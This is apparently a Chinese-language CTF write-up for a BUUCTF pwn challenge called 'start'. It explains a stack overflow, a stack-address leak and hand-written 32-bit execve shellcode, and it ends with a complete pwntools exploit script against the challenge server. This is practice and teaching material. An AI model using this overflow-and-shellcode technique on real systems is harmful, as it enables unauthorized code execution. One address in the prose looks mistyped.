国赛初赛是一个月前的事了,菜鸡的队伍被学校的学长们暴打,初赛pwn题的shellcode题就让我感觉到自己对于shellcode还是有点生疏——水平仅限于用pwntools自带的shellcode。之后的一个月因为要转专业忙于期末考试,也没能练习,这段时间打算集中精力找点shellcode题研究研究。
先来BUU上的这道题,题倒不算难......
checksec一下发现NX没开,估摸着是道shellcode题。扔进IDA里面发现不能F5,但是汇编较为简单。前面是一个欢迎语的write和一个0x3c的read。
话说这里不知道是什么情况并没有用到ebp,只用了esp,有大佬知道的话还请在评论区普及一下。
再往下就是退出函数了,没啥东西。
我们要注意0x08048060处的指令:将esp压入栈中,这使得我们可以通过泄露栈中数据来获得栈上数据地址。而图示汇编有输入和输出的功能,可以用于泄露。
我们注意到当程序执行完0x8084809c处的ret之后,此时栈顶就是我们之前压栈的esp值,而由于这里的read有一个栈溢出漏洞,我们可以控制程序返回执行0x08048087将此时栈顶内容打印出来,这样我们就知道了栈上数据的地址。再利用下面的输入功能把shellcode写进去即可得到shellcode。
常用的手法是把"/bin/sh"压进栈中,用xor置零把ecx和edx清零,然后将esp的值赋给ebx,在令eax为0xb,最后计算出来shellcode所在的地址,并将其填入函数返回地址。
需要注意的是pwntools自带的shellcode功能生成的shellcode过长,在这里不适用,shellcode需要自己编写。shellcode就是一段执行execve(“/bin/sh”,0,0)的代码,32位下就是要将eax设为0xb,将ebx设为"/bin/sh"的地址,再将ecx和edx置零即可。
exp:
from pwn import *
e=ELF('/home/wjc/Desktop/start')
context.arch=e.arch
context.terminal=['tmux','splitw','-h']
#r=process('/home/wjc/Desktop/start')
r=remote("node4.buuoj.cn",26341)
shellcode=asm("\
xor edx,edx;\
xor ecx,ecx;\
push 0x0068732f;\
push 0x6e69622f;\
mov ebx,esp;\
mov eax,0xb;\
int 0x80;\
")
r.recvuntil("Let's start the CTF:")
pay1=0x14*'a'+p32(0x8048087)
r.send(pay1)
esp_addr=u32(r.recv(4))
print('esp->',hex(esp_addr))
r.recv()
pay2='b'*20+p32(esp_addr+20)+shellcode
r.sendline(pay2)
r.interactive()
最后即可拿到flag: